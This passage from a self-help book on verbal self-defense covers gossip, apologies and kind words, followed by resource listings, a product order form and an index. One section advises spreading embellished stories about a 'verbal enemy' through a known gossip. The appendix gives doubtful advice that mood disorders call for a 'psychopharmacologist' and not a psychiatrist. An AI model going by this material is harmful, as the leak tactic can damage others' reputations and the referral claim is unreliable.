wants to do you in. With the right verbal ammunition, they will destroy your reputation with their attempts to
thwart your purposes.
Common sense tells you that you would never dream of giving your adversary any ammunition to use against
you. But the reality of the situation is that you have already given it to them—straight from your mouth. This
verbal bomb can explode in your face and kill you because it is so powerful. It comes completely unexpectedly
from the “verbal enemy” you would least expect. The moral of the story is, “Never tell your best friend
anything you wouldn't want your worst enemy to know!”
Losing the Verbal War by Trashing Your Family!
Whether you like it or not, your family is just that—your family. You might hate everyone in it. You might not
have spoken to them for 15 years. However, no matter what your relationship is with them, when you trash
your family, especially to strangers and acquaintances, but even to people you know well, you trash yourself.
Almost everyone has family issues, and there are many different sides to these issues. When you start telling
other people about your family issues, you are opening up your family, and yourself, to emotional pain. Most
people aren't equipped to hear about other families' deepest and darkest secrets. If you open up to them they
might, in their shock, tell two people who tell two more people, and so on and so on, and before you know it,
people now understand why you act the way you do or feel sorry for you because of your background. You are
suddenly “labeled”! The moral of the story is, tell only a professional about family tragedies. It won't go
anywhere—for certain. Tell only a close, close friend or relative, and only after checking in with them to make
sure they can handle such news.
Remember that you are taking a risk telling anyone but a professional, another family member who shares your
plight, an intimate friend, spouse, or lover whom you trust with your heart and soul. Otherwise you put your
reputation in jeopardy.
Page 312
Winning by Letting It Leak!
Sometimes, you might not want a confidence kept. You might want this information out in the open for some
reason. You consciously make this happen, knowing that not everyone can keep a confidence! However, this
might not be all bad, as part of your own line of verbal defense strategies. In fact, politicians do it all the time.
That's how we, the public, get information that is supposedly “leaked” to us from some unknown source. The
information either enhances or embarrasses one side or the other. Sometimes this information is accurate; other
times, it's a blatant lie. Sometimes the information predicts an event and prepares us for a pending disaster,
other times it is just meant to scare us.
Whatever the case, it was calculated! It was an attempt to convey information by betraying a confidence.
How can you apply this verbal strategy to your own life? Let's say you want something to get out about you or
your verbal enemy. It could be true information you want people to know about yourself or information that is
a bit embellished. Your best bet is to tell the verbal big mouth and watch it spread like wildfire. You can
exaggerate (kid around) or tell a tale. Once the Verbal Leaker hears the story, she is out of your control. (Right!
And who told them to tell the world anyway?) In essence, they can become your best verbal weapon and PR
agent.
Losing the Verbal Battle by Recycling the Word
Remember that game you played in grade school, where one person would whisper something and then the
next person was to repeat it to the next person, and so on and so forth down the line? By the time the 30th
person repeated what the first person initially said, the story ended up being totally different and
unrecognizable. This same thing happens in real life!
Things get distorted and embellished, but they don't have to go through 30 grade school children to get there.
They can get distorted just by being filtered down through a few people who add their own spin or who bring
their baggage or viewpoint to the story.
Let's say you go out on a date with John. You had an awful time. All he wanted to do was make out with you,
and you just weren't attracted to him. You had no chemistry and he wasn't your type. You tell this to your coworker.
She now tells her friend that your date was awful because you wouldn't have sex with him on the first date. Her
friend tells another friend that your date is a sex maniac and won't date girls unless he has sex with them on the
first date. Wow! Now the poor guy has a reputation he doesn't deserve, just because he kisses like a frog.

Page 313
It's one of the casualties of opening your mouth and talking. It could have worked the other way too. You could
have said you had a great time—that he was a great kisser. Your co-worker could have then told her friends
that your date was a great lover. Word spread around that your date is so hot in bed and now every woman is
dying to sleep with him.
So sometimes there is nothing you can do but be neutral and say “it was fine” or “okay,” especially if you
know someone is a “walkie-talkie” or Verbal Leaker.
Verbal Defeat Through Verbal Ecstasy—Why Tellin' All Feels Soooo Good!
Even if we know better, why do we still talk so much and gossip about ourselves, especially about our sexual
selves? One reason is because it feels soooooooooooo darn good.
It feels good to the talker. It's a release they desperately need. If they don't tell and talk about it, they crumble—
literally. They suffer psychological, emotional, mental, and physical trauma. There is enough research in the
medical literature to back up what I just said a thousand times over.
That is why therapists and clergy are so vital: people need to unload their problems to people who know what
they are talking about in a professional sense. After they are done, it feels good. It feels even better if they are
guided in the right direction and given the right advice.
Now let's take it a step further. Another reason we like to tell all, especially to our friends or to anyone who
will listen for that matter, is because it feels good. As we talk about the experience and recall the minute details
of the event (especially if it was a highly erotic event!), it is as though we are reliving the event and stimulating
those same pleasure channels that felt soooo good.
Since, as far as the emotions are concerned, the brain can't distinguish between what's actually happening and
what is being visualized, it is like you are there all over again! You take the listener along on this verbal magic
carpet ride, and they too can visualize and empathize with you as though they were there. It's as though they
were the protagonist in your detailed, erotic story.
When the story is over, the talker and the listener have both had a “verbal orgasm.” Telling the tale over and
over to as many people as will listen provides the teller with multiple verbal orgasms.
Page 314
Besides sex, people talk and talk in intimate details about negative experiences in their lives to purge
themselves as well as to get someone else's reassurance. They tell the story from their side so that the listener
will rally against their adversary and they will be “right.” They feel better, you feel better, and you are
entertained at the same time. Whatever the topic, there is a strong need for them to tell someone, and they
chose you. So in some way that's flattering, but if you don't want to hear it, don't. Set limits. Say “I appreciate
your feeling comfortable enough to tell me this, but I'm not comfortable listening to it.” Smile. There is nothing
to be mad at.
Don't Blame! Extinguish the Flame!
You need to stop restimulating your negative past! Of course, it might be interesting to hear about the hundreds
of abusive lovers you've had, and how you were so poor when you were growing up that you had to eat dirt
sandwiches and worms and live out of a cardboard box. But sometimes I wish I had a channel clicker so that if
I heard one more disgruntled husband or wife complaining about their spouse, I could click them to a happy
channel. Instead they could tell me how they got on with their lives and how their “dirty-doing mate” allowed
them to move on find a better life, the right mate, and live in bliss.
Unfortunately, such a channel clicker hasn't been invented yet, but you can change your own channel. Stop it
already! Move on! Eight years is enough! When you blame, you keep igniting the flame. You keep it going
forever and ever. The less you talk about the tragedies and the people who “did you wrong,” the more chance
you will have to keep your eyes open to focus on those people who will be “doing you right.”
Making Amends Verbally
The best part of Alcoholics Anonymous, Overeaters Anonymous, Narcotics Anonymous, Gamblers
Anonymous, and other 12-step programs is that you get to make amends to people whose lives you were
responsible for devastating! You get to say that you are truly sorry for the horrific and unconscionable deeds
you inflicted upon them while you were under the influence of your particular demon. That is one of the
beauties of the program.
Asking for forgiveness is one of the most wonderful and precious things you can do. It takes a big person to be
able to do that. It takes a big person with a lot of courage and inner strength to approach another person and ask
for forgiveness. But you have to do it if you are to be verbally effective. Honesty, sincerity, and coming clean
are the basis of verbal self-defense. If you have those things, you have almost everything.
Page 315
What do you say in order to say you are sorry?
Don't just think you can give a cursory “I'm sorry” and that's that! No way! You have to look directly at the
person and tell them exactly why you are sorry. You have to tell them that you are sorry for what you did and
how you think it made them feel. You have to listen to them wholeheartedly as they pour their heart out and tell
you what your insensitive and horrible actions did to them, what scars your actions left, and what subsequent
repercussions they had. You need to empathize with them.
Don't explain yourself and get defensive yet. Just sit there and listen!
Cry with them; empathize with them. Try with all your heart to feel what they must have gone through. Reach
out to them physically. Try to touch them. Touch their hand. Ask them if they will allow you to hold them and
caress them. If they won't, understand. Wounds take time to heal. They might forgive you now, sometime in
the future, or never. Whatever the case, you verbally defended yourself so that you no longer have to wrestle
with these verbal demons. You can finally put it to rest. You did the right thing from a verbal perspective!
No More Verbal Hypocrisy—a Clean Battlefield
If you don't want to do something or you don't want to be somewhere, then don't do it or don't go there. If you
do, you will inevitably say the wrong thing to the wrong person, and this will always get you in trouble. People
aren't dumb! They know when you are lying to them, want something from them, and are being manipulative.
Some people will even play along with your lie because it is challenging or fun to watch you trying to talk your
way into something, such as into bed or into a business opportunity. You might think you are sweet-talking
someone and getting ahead, but your empty words mean nothing, even if you succeed in getting the specific
thing you want. You are ahead for only five minutes and then you are behind forever. You've gotta tell truths.
Page 316
You never again have to be the verbal victim who is forced to say obligatory trite things! You no longer have
to be a verbal hypocrite! Now you can sleep a lot better at night. Your conscience is clear as you have cleaned
up your verbal battlefield once and for all!
Winning the War Through Verbal Gifts!
In order to win the verbal war, you have to use the most powerful verbal weapon, and that is the weapon of
love and kind words given to yourself, your allies, and your adversaries.
Here is a list of verbal gifts:
• Words of endearment—“Honey,” “love,” “babe,” “darlin',” “my love,” “baby,” and “sweetie”—go a long,
long way and make people feel great.
• Lovely tones. Be upbeat and happy as though you are thrilled to see them. Have a tonal bounce, a song that
says “I am so thrilled you are in my life, and I absolutely adore you!”
• Never take your verbal anger or attitude about someone else out on them. Never curse or damn the person, no
matter how angry you get at them. Work it out! But work it out in a kind, loving, civil, and compassionate
manner. No screaming and yelling!
• Apologize immediately and be the first to apologize when you've messed something up—especially if it's a
little mess-up. Say it and mean it! Do it several times if necessary and use physical affection to reinforce it.
• Say loving things to others unexpectedly.
• Never say petty things to people and talk about the small stuff. Always stick to the big picture.
• Tell people specific things about why you like, love, or respect them. Describe specific character traits,
physical traits, behaviors, and incidents in great detail, and I mean in minute and minuscule detail. Everyone
loves to hear that.
• Always encourage people in their endeavors. Explain exactly why you believe in them. Give your views
about why you know they will make it and how you will never give up on them.
Page 317
Page 319
APPENDIX A
RESOURCES
Because I hold a Ph.D. in counseling psychology and a second Ph.D. in the field of communication disorders, I
have seen firsthand the positive impact that professionals in both of these fields have had upon people's lives.
The art of verbal self-defense requires that you feel good enough about yourself to deal with your emotional
pain from your past, so that you have the confidence to handle any problem that presents itself. Using all the
strategies I have taught you in this book will allow you to zip through any verbally toxic encounter. Thus, a
qualified and competent counselor, psychologist, or psychiatrist is a plus to enhance your live. They don't have
to be seen forever or cost you an arm and a leg. Often a good therapist will see you for short-term therapy just
to help you with specific issues.
In addition to having the security of knowing the formula of what to say, it is equally important to know just
how to say it. Sometimes you may not project the message as effectively as you could because of the way you
sound or speak. Until you read this book, you may not have even realized that help was available to enable you
to improve the quality of the way you sound. The added benefit to improving your speech is that you will also
be improving your image and the way people perceive you. Therefore, I recommend a qualified speech
pathologist who specializes in voice therapy with adults.
I recommend that you continue to read this book over and over again. Keep it! Save it as a reference book in
your library. You will find yourself using it frequently, perhaps daily at first, then weekly or monthly until the
techniques, strategies, and retorts become second nature.
You may need additional help as well. In addition to receiving additional material, which you can order directly
from Appendix A, or engaging in a telephone session, you may need more extensive personalized treatment
and counseling.
The following lists include sources of additional information and help.
References for Speech Pathologists.
1. I do not recommend that you go to a singing teacher, but only to a speech pathologist who is licensed by
your state, and who holds a Certificate of Clinical Competence from the American Speech Language and
Hearing Association. This way you can be assured that you will be receiving treatment from a well-trained
professional who knows exactly what they are doing and who will not harm your voice.
Page 320
2. To find such a person, ask your friends who may know of one, or friends of friends who were helped by the
person.
3. Check with several physicians (ear, nose, and throat physicians, general practitioners, and any type of dentist
or orthodontist), so that you get a variety of names from which to choose.
4. Call each person and ask the specific questions listed in Chapter 17.
5. Contact the American Speech Language and Hearing Association at
10801 Rockville Pike
Rockville, MD 20852
(301) 897-5700
Fax (301) 571-0457
They may be able to provide the name and phone number of the speech and hearing association in your
state, which can possibly provide a list of names of speech therapists in your area who specialize in the
treatment of voice disorders.
References for Psychological Services
1. You may want to begin your hunt for a good psychotherapist by asking friends to refer one they or their
friends have used.
2. Another option is to consult your clergy. Often they are excellent counselors. For many, sharing similar
religious views can provide a great source of comfort, since they can address your particular issues and needs,
perhaps in some cases even more effectively than a psychotherapist.
3. Ask several physicians and educators for any therapist they can recommend.
4. Just as one needs a speech pathologist who specializes in voice problems, you need a psychotherapist who is
best equipped to help you with your specific needs. If you have a marital problem, a family problem, a drug or
alcohol problem, an eating disorder, or a biochemical or personality disorder, you may want to seek out a
therapist specializing in that particular area.
To find this out, you need to ask questions. Just for the record, if you suspect that you or a loved one has a
biochemical disorder (symptoms include mood swings or depression), the mental health professional you
want to see is not a psychologist or even a psychiatrist, but rather a “psychopharmacologist.”
5. You may also want to contact you local hospital to see if they have any out-patient psychotherapy programs
or the nearest university medical center in your vicinity. In addition, public health facilities and mental health
agencies usually exist on the city, county, state, or regional level. Often, these programs are much less costly.
6. Depending upon what issues you need to face, you can contact one or more of the following organizations.
Perhaps they can refer you to someone in your area.
Page 321
American Psychological Association
750 1st St., NE
Washington, DC 20002
(202) 336-5500
Fax (202) 336-5919
Divisions to Contact within the American Psychological Association:
Psychopharmacology and Substance Abuse
Child, Youth, and Family Services
Family Psychology
Psychology of Women
Society for the Psychological Study of Men and Masculinity
Society for the Psychological Study of Lesbian, Gay, & Bisexual Issues
Addictions
Adult Development and Aging
American Psychiatric Association
1400 K St. NW
Washington, DC 20005
(202) 682-6000
Fax (202) 682-6114
American Counseling Society
5999 Stevenson Ave.
Alexandria, VA 22304
(703) 823-9800
Association of Jewish Family and Children's Agencies
Box 248
3086 Hwy 27
Kendall Park, NJ 08824
(908) 821-0909
Fax (908) 821-0493
American Family Therapy Association
2020 Pennsylvania Ave. NW
Washington, DC 20006
(202) 994-2776
Fax (202) 994-4812
Page 322
Association of Mental Health Clergy
12320 River Oaks
Knoxville, TN 37922
(615) 544-9704
(615) 544-8888
American Society of Pastoral Counselors
9504A Lee Hwy
Fairfax, VA 22031
(703) 385-6967
Fax (703) 352-7725
Black Psychiatrists of America
2730 Adeline St.
Oakland, CA 94607
(510) 465-1800
International Association of Counseling Services
101 S. Whiting St., Suite 211
Alexandria, VA 22304
(703) 823-9840
Fax (703) 823-9843
National Association of Alcoholism and Drug Abuse Counselors
3717 Columbia Pike, Ste. 300
Arlington, VA 22204
(703) 920-4644
(703) 920-4672
Parental Drug Association
7500 Old Georgetown Rd #620
Bethesda, MD 20814
(986) 986-0293
Fax (986) 986-0296
Asian Psychological Association
Department of Psychology
Slippery Rock, PA 16057
(412) 738-2274
Fax (412) 738-2098
Page 323
APPENDIX B
TO ORDER DR. GLASS' PRODUCTS
Fill out this form and include VISA, MC, CHECK, or MONEY ORDER to:
Dr. Lillian Glass
Your Total Image Inc.
P.O. Box 792
New York, NY 10021
OR YOU CAN PLACE A TELEPHONE ORDER
212-946-5729
OR SEND AN E-MAIL
info@drlillianglass.com
****ALL PRICES INCLUDE TAX, SHIPPING, AND HANDLING****
Emotional Feelings and Mending Hearts This set of 2 CD's of original songs which reflect every emotion you
have ever felt. Some give you courage and help heal tender emotions while others stimulate your love and
motivate you to climb the highest mountains.
Item
Price Quantity Total Amount
CD's (set of 2) $45.99 ________ ________
Attracting Terrific People—How to Find and Keep the People Who Bring Your Life Joy! Never be lonely
again! Find out how to attract and keep the best jobs, the best people, and have the relationships to allow you to
have the most fulfilling life.
Item
Price Quantity Total Amount
Book (hardcover edition) $32.99 ________ ________
Toxic People—10 Ways To Handle People Who Make Your Life Miserable Find out how to identify the 30
types of toxic terrors and use effective techniques that really work!
Item
Price Quantity Total Amount
Book (hardcover edition) $32.99 ________ ________
Audiotapes (set of 2) $32.99 ________ ________
Two Videotapes $59.99 ________ ________

Page 324
He Says/She Says—Closing the Communication Gap Between The Sexes Although men and women are
different, there are things we can do and say to avoid fights, hurt feelings, frustrations, and pent up anger
against the opposite sex throughout our daily lives, at work, and even in the most intimate moments. Now you
will know what to do and exactly what to say to the opposite sex!
Item
Price Quantity Total Amount
Book (hardcover edition) $32.99 ________ ________
Videotape $59.99 ________ ________
Audiotapes (set of 2) $32.99 ________ ________
Talk To Win: 6 Steps To A Successful Vocal Image You don't ever have to hate the sound of your voice or be
afraid to speak publicly again. Now you can use the same speaking and voice techniques used by Hollywood.
Item
Price Quantity Total Amount
Videotape $17.99 ________ ________
Audiotape $59.99 ________ ________
World of Words Never feel insecure about not understanding what another person is saying to you. You will
learn the basic roots which allow you to figure out what most words mean, even if you've never heard them
before. It's simple and easy, and takes minutes to learn.
Item
Price Quantity Total Amount
Audiotape $17.99 ________ ________
How to Deprogram Your Valley Girl It's classic, no matter what generation you're from! Humorous, cute, and
funny, it has a serious message by explaining in easy steps how to teach your teen or child how to talk right.
Item
Price Quantity Total Amount
Book (softcover edition) $10.99 ________ ________
Speak for Success Now you will have the confidence to speak up, say what you've always wanted to say, and
feel great about yourself!
Item
Price Quantity Total Amount
Videotape $59.99 ________ ________
Total Balance Due____________________
Last Name________First Name________
Address_________________________
City, State, Zip Code____________________
Phone Number(__)____________________
Fax Number(__)____________________
E-mail_________________________
Visa/MC Number____________________
Expiration Date____________________
Name as it Appears on Card_______________
Signature_________________________
Page 325
INDEX
A.
absorbing what others say, 5
abuse, verbal
comparing to verbal murder, 47
in relationships, 162–164
level one, personality traits, 34–40
backhanded complimentors, 39
confidence betrayers, 37–38
“I'm Only Kidding” personality types, 34
sarcastic/sadistic personality types, 35
self-consumed, 39–40
“Shock 'Em and Rock 'Em” personality types, 34–35
sugary fawners, 38–39
trashers, 36–37
verbal hammers, 35–36
level two, personality traits, 40–46
accusers, 44
condescending dismissers, 41
faultfinders, 43
instigators, 41
interrogators, 40–41
liars, 44–45
ragers, 43
underminers, 41–42
verbal icicles, 45–46
verbal nazis, 43–44
parental
children as abusers, 194–197
children, disciplining, 200
consequences, 192
defending against, 191–193
resolving, 192–193
recovering from, 169–170
relationships
forgiveness, 169
grieving process, 168
rehabilitation, contacting professional help, 166
self-directed, 110
siblings, 193–194
“three strikes rule”, 162–164
victims, comforting, 166–168
accusers (verbal abusers), 44
acquiring lingo (conversations), 125
admitting to wrongdoing, 290–291
affirmation tapes, Guru Ji Pillai, Ph.D., 111
AIDS, 303
alcoholism, 247
alternatives to physical violence
Fantasy strategy, 157–158
“Give 'Em Hell and Yell” strategy, 160
Verbally Mirroring the Foe strategy, 158–159
amends, making, 314
American Counseling Society, contact information, 321
American Family Therapy Association, contact information, 321
American Psychiatric Association, contact information, 321
American Psychological Association, contact information, 321
American Society of Pastoral Counselors, contact information, 322
anger
clenched teeth, 10
facial expressions, 11
answering machines, messages, 261–262
anticipating verbal attacks, 134–135
apologizing, 198, 315
arm movement, body language, 12–13
self-assessment, 71
correcting, 83
articulation
answering machine messages, 262
see also hyper-articulation
Asian Psychological Association, contact information, 322
asking
for forgiveness, 314
questions, 122
assessing
body language, 67–68
arm and hand movements, 71
breathing, 74
eyes, 73
facial expressions, 72–73
head movements, 71–72
mouth, 73–74
posture, 68–70
walking, 70–71
handshakes, 84–85
potential attackers, 3–5
self-image, 62–65
voice quality, 75–77
Association of Jewish Family and Children's Agencies, contact information, 321
Association of Mental Health Clergy, contact information, 322
Page 326
attacks
ignoring, 152
reacting to, 152
victims, setting limits with perpetrators, 153–155
attitudes, negativity as self-fulfilling prophecy, 111
authority figures, defending against verbal attacks, 212
autonomic nervous system, “fight or flight” response, 27
avoiding
confrontations over telephone, 257
eye contact, 8
hurtful insults, 155–157
miscommunication in business dealings, 206–208
rape, 302
verbal attacks, strategies, 112–116
diplomacy, 116
inflammatory words, avoiding, 113–114
listening without interrupting, 114–115
observing verbal opponents, 113
personal space, respecting, 115–116
speaking up, 112
terms of endearment, speaking, 114–115
B
backhanded complimentors (verbal abusers), 39
backstabbers, 21–22, 241
bad breath, 277
bad habits, self-denegration, 110
bad news
breaking, 281–282
infidelity, reporting to cuckold, 282–283
basic needs
conversation topics, 124
threatening, 158
behavior
generalizing, 50–51
school-aged children, restricting, 197
believability, braggarts, 22
betraying
confidences, 37–46
loved ones, dealing with, 290
bilingual communication, 176
bipolar disorder, 42, 247
Black Psychiatrists of America, contact information, 322
“blank stare” technique, disarming verbal opponents, 139–141
blind, communicating with, 289
blinking, 9
body language, 11–13
arm and hand movements, 12–13
correcting, 83–84
self-assessment, 71
breathing, self-assessment, 74
eyes, self-assessment, 73
facial expressions, self-assessment, 72–73
female, interpreting, 185
hand-shaking, 13
head movements, self-assessment, 71–72
male, interpreting, 183
mouth, self-assessment, 73–74
observing, 4
physical distance, maintaining, 11–12
posture, 12
enhancing, 80–81
rigidity, correcting, 82–83
self-assessment, 68–70
self-assessment, 67–68
sitting, confidence, 82
walking
confidence, 81–82
self-assessment, 70–71
body odor, 277
borrowing money, 277
braggarts, believability, 22
brain chemistry, comparing between sexes, 177–178
breaking
bad habits, self-denegration, 110
bad news, 281–282
verbally abusive relationships, 165–166
breathing, 92–95
body language, self-assessment, 74
mind-clearing technique, 94
relaxation technique, 93
voice, enhancing, 95
yawning, 97–98
building confidence, 105–109
“Who Are You?” quiz, 106–108
bullies, dealing with, 299
businesses
employers, defending against verbal attacks, 212–213
professionals, defending against verbal attacks, 212
service industries, rude employees, 206–208
busybodies, 250
butting into conversations, 274
C
Calm Questioning Technique, 231
against food service employees, 211
disarming verbal opponents, 143–144
liars/fibbers, 234
Cantalupo, Paul, 16
Carnegie, Dale, 146
categorizing verbal abusers, 33–34
cautioning verbal crime perpetrators, 153–155
characterizing
backstabbers, 22
braggarts, 22
verbal murderers, 47–49
cheating spouses, reporting to cuckold, 282–283
Page 327
children
controlling, verbal techniques, 197–198
infants
communication skills, correcting, 199–200
speech development, 199
school-aged
restricting behavior, 197
verbal defense, 197–198
choosing verbal defense strategy, 136–138
clenched jaws, anger, 10
cold shoulder, reacting to, 270–271
comebacks against rude strangers, 204
comforting verbally abused people, 166–168
common expressions, interpreting hidden meaning, 23
communication
between sexes, 176
female language, 185–186
male language, 183–185
bilingual, 176
eye contact, 86–87
foreign language as barrier, 211–212
infants, correcting, 199–200
interpreting between sexes, 178–183
mindfulness, 88–89
mumbling, 217–218
persuasion, 288
pre-infant, developing, 198–199
smiling, 87
speech impediments, stutterers, 288–289
verbal abuse, 23
categorizing, 33–34
comparing to verbal murder, 47
consequences, 27–31
emotional manifestations, 29–31
identifying, 25–26
level one, 34–40
level two, 40–46
parents as victims, 194–197
with hearing-challenged, 289
with mentally ill, 289–290
with sight-impaired, 289
with terminally ill, 283–284
comparing
discussion topics between sexes, 178
sexes, brain chemistry, 177–178
treatment of infants between sexes, 177
verbal murderers and verbal abusers, 47
competitiveness
motivation for verbal murder, 55–56
sibling rivalry, 193–194
complainers, 276
con-artists, telemarketers, 257
concluding conversations
one-on-one, 127–128
telephone, 260–261
condescending dismissers (verbal abusers), 41
confidence
affirmation tapes, Guru Ji Pillai, Ph.D., 111
body language
hand-shaking, 13
sitting, 82
walking, 81–82
building, 105–109
self-fulfilling prophecies, 111
“Who Are You?” quiz, 106–108
confronting
baby-voiced talkers, 219–221
conversation interrupters, 226
fast talkers, 223
flatterers, 285
frequent callers (telephone), 264–265
know-it-alls, 224–225
liars, 284–285
loud talkers, 218–219
loud talkers over telephone, 259
mumblers, 217–218, 259
name-droppers, 223–224
nasal-voice talkers, 227–228
pathological liars, 285
people who don't like you, 270–273
physical abusers, 156–157
“Fantasy” strategy, 157–158
“Give 'Em Hell and Yell” strategy, 160
“Verbally Mirroring the Foe” strategy, 158–159
slang speakers, 225
squeaky talkers, 219
wordy talkers, 227
conscious motivation, verbal murder, 53–57
competition, 55–56
control, 53–54
despair, 53
impatience, 54
lack of confidence, 54–55
resentment, 56–58
consequences
of improper breathing, 93
of parental verbal abuse, 192
of verbal murder, 57–58
consonants, pronouncing, 101–102
constant staring, 9
contact information, American Psychological Association, 321
contact ulcers, 96
contacting psychotherapists, 166
contradictions, 294, 295
control freaks, 240
motivation for verbal murder, 53–54
controlling
body language
arm movement, 83
hand movements, 84
breathing, 92–95
mind-clearing technique, 94
relaxation technique, 93
children, verbal techniques, 197–198
stuttering, 104
verbal combat, 137–138
Page 328
conversations
asking questions, 122
backstabbers, identifying, 21
butting into, 274
concluding, 127–128
disruptions, 114–115
elaboration technique, 122–123
ethnic, 126–127
expressions, interpreting, 23
eye contact, 86–87
foreign language
French terms, 127
German terms, 126
Italian terms, 127
Latin terms, 126
Yiddish terms, 126–127
imaginary (exercise)
attacks, anticipating, 134
practicing, 133–134
preparing for verbal combat, 132–133
initiating, 121
interruptions
confronting perpetrators, 226
reacting to, 274
lingo, 125
listening, 19–23
maintaining, 121–127
asking questions, 122
elaboration technique, 122–123
mindfulness, 88–89
name-dropping, 223–224
physical contact, 85–86
preparing for, 118
slowing down, 103
smiling, 119, 119–120
speeding up, 103
telephone
interruptions, handling, 263–264
loud talkers, 259
mumblers, 259
recording, 66–67
returning calls, 264
separation anxiety, 260–261
while eating, 262–263
whisperers, 259
wordy talkers, confronting, 259–261
topics, 123–124
basic needs, 124
comparing interest between sexes, 178
interests and opinions, 124
knowledge of, 125
relationships, 124
verbal combat
controlling, 137–138
preparing for, 131–132
voice quality, self-assessment, 75–77
correcting
body language, hand movements, 83–84
foul language in children, 201–202
posture, 80–81
head position, 81
rigidity, 82–83
spinal, 81
weight distribution, 80–81
counter attacks, timeliness, 136
criticism, listening to, 19–23
cultural clashes, 300
cursing, 234
among teenagers, 195–196
correcting, 201–202
customer service representatives, defending against, 205–212
cutting others down, 249
D
date rape, avoiding, 303
death, communicating with terminally ill, 283–284
declarations of verbal war, 297
defending friends against gossip, 287–288
delicate situations, 303–304
delivering bad news, 281–282
dental conditions, as cause of lisping, 16
dentists, verbal defense, 213–214
depression, 53, 247
developing communication skills, pre-infant, 198–199
dialog
expressions, interpreting, 23
identifying backstabbers, 21
listening, 19–23
see also conversations
dieting, refusing food offers, 287
diffusing hostility in verbal opponents, 112
diplomacy, 116
Direct Confrontation Technique
cussers, 235
food service employees, 210
liars/fibbers, 234
sweet talkers, 233
talkaholics, 232
disarming verbal opponents, techniques, 112
Calm, Calculating, Questioning strategy, 143–144
Funny Bone strategy, 145–146
hand-holding fighting strategy, 147–148
heart-in-hand strategy, 148
hush hush strategy, 147
Look of Disgust strategy, 141
Love 'Em Up strategy, 146–149
Naked Truth strategy, 144–145
name repetition, 146–147
staring, 139–141
“What's Good About You” strategy, 148–149
disciplining foul language in children, 201–202
discussion topics, comparing between sexes, 178
disgust, facial expression, 11
disruptions in conversations, 114–115
do-nothings, 246
doctors, verbal defense, 213–214
drooling, preventing, 102–103
drug abuse, 247
Page 329
E
eating
during telephone conversations, 262–263
Elaboration Technique, 122–123, 231
e-mail address, Dr. Lillian Glass, 323
embarrassment
coping with, 268–270, 273
examples of, 268–269
jokes, 269–270
emotionally challenged people, 247
emotions
anger, clenched teeth, 10
expressing in face, 9–10
nervousness, stuttering, 15–16
stress
“kick the cat” syndrome, 50
verbal murder, 47
verbal abuse, manifestations, 29–31
employers, defending against verbal attacks, 212–213
enemies
smiling at, 271
verbal self-defense, 205
enhancing
posture, 80–81
head position, 81
spinal, 81
standing, 80–81
relationships, 186–189
self-esteem, 308–310
speech
consonant pronunciation, 101–102
vowel pronunciation, 102
voice, 95
monotonous voices, 99–100
nasal voices, 100–101
whining voices, 100
yawning, 97–98
enunciation, recording telephone machine messages, 262
envy, 241
motivation for verbal murder, 51–52
ethnic terms, 126–127
French, 127
German, 126
Italian, 127
Latin, 126
Yiddish, 126–127
evaluating
body language, 67–68
arm and hand movements, 71
breathing, 74
eyes, 73
facial expressions, 72–73
head movements, 71–72
mouth, 73–74
posture, 68–70
walking, 70–71
handshakes, 84–85
responses, “Who Are You?” quiz, 109
self-image, 62–65
voice quality, 75–77
examples, public humiliation, 268–269
excessive blinking, 9
excuses, maintaining verbally abusive relationships, 163–164
exercises
breathing
mind-clearing technique, 94
relaxation technique, 93
imaginary conversations
attacks, anticipating, 134
practicing, 133–134
preparing for verbal combat, 132–133
verbal attacks, interpreting reactions, 134–135
expressions
body language, 11–13
arms, 12–13
hand-shaking, 13
physical distance, maintaining, 11–12
posture, 12
facial, 9
eye contact, 86–87
female, interpreting, 185
male, interpreting, 184
self-assessment, 72–73
smiling, 87
interpreting, 23
eye contact, 8–9, 86–87
avoiding, 8
blinking, 9
self-assessment, 73
staring, 8
F
facial expressions, 9
blank stares, disarming verbal opponents, 139–141
body language, self-assessment, 72–73
eye contact, 86–87
female, interpreting, 185
look of disgust, disarming verbal opponents, 141
male, interpreting, 184
mouth, expressing emotions, 10–11
smiling, 87
fairness in verbal combat, 155–157
families
betrayal, dealing with, 290
children, handling parental requests, 196–197
parents, verbally abusive, 191–193
siblings, verbally abusive, 193–194
fanatics, 245
Fantasy strategy, avoiding physical violence, 157–158
fast talkers, 17
confronting, 223
faultfinders (verbal abusers), 43
fear, facial expression, 11
female body language, 185–186
fetal response to music, 199
fibbers, 234
“fight or flight” response to verbal abuse, 27
Page 330
fighting dirty (verbal combat), 155–157
flatters, confronting, 285
food
refusing, 287
servers, verbal self-defense, 208–211
foreigners, 276
forgiveness, asking for, 314
foul language
among teenagers, 195–196
children, correcting, 201–202
French terms, 127
frequent callers (telephone), confronting, 264–265
friends
betrayal, dealing with, 290
defending against rumors, 287–288
verbal self-defense, 204–205
Funny Bone strategy, disarming verbal opponents, 145–146
G.
gazing down at someone, 8
generalizing, 50–51
German terms, 126
gestures
body language, 11–13
arms, 12–13, 71
hand-shaking, 13
physical distance, maintaining, 11–12
posture, 12
facial, self-assessment, 72–73
“Give 'Em Hell and Yell” strategy, avoiding physical violence, 160
gossip
about family, 311
as source of prejudice, 274
friends, defending, 287–288
intentionally “leaking”, 312
preventing, 310
gossipmongers, 41
grieving process, ending verbally abusive
relationships, 168
guilt, motivation for verbal murder, 52
Guru Ji Pillai, Ph.D, 111
H
Haas, Dr. Adelaide, 178
habits, self-denegration, 110
hand movements
body language self-assessment, 71
controlling, 83–84
hand-holding fighting strategy, disarming verbal opponents, 147–148
handshakes, 13
evaluating, 84–85
happiness, facial expression, 10
harsh tone in voice, 299
head position
body language self-assessment, 71–72
posture, correcting, 81–89
health
dieting, refusing food offers, 287
mentally-ill, communicating with, 289–290
terminally ill, communicating with, 283–284
voice box, 95–97
hearing-challenged, communicating with, 289
heart-in-hand strategy, disarming verbal opponents, 148
hindsight, 4
Hitting-below-the-Belt Abusers, 242
honesty
liars, 44–45, 234
confronting, 284–285
eye contact, 9
vocal tone as indicator, 15–18
wrongdoing, admitting to, 290–291
hopelessness, conscious motivation for verbal murder, 53
hostility
crossing arms, 12
in verbal opponents, diffusing, 112
jokes, hidden meaning, 20–21
vocal tone as indicator, 15
humiliation, coping with, 268–270
humor, jokes
hidden meaning, 20–21
weight-related, responding to, 287
hush hush strategy, disarming verbal opponents, 147
hyper-articulation, 17–18
I
“I love you-I hate you” people, characterizing, 42
identifying
backstabbers, 21
verbal attackers, 3, 25–26
worksheet, 48–49
verbal murderers, 47–49
ignoring verbal attacks, 152
“I'm Only Kidding” personality types (verbal abusers), 34
imaginary conversation
physical violence, avoiding
“Fantasy” strategy, 157–158
“Give 'Em Hell and Yell” strategy, 160
“Verbally Mirroring the Foe” strategy, 158–159
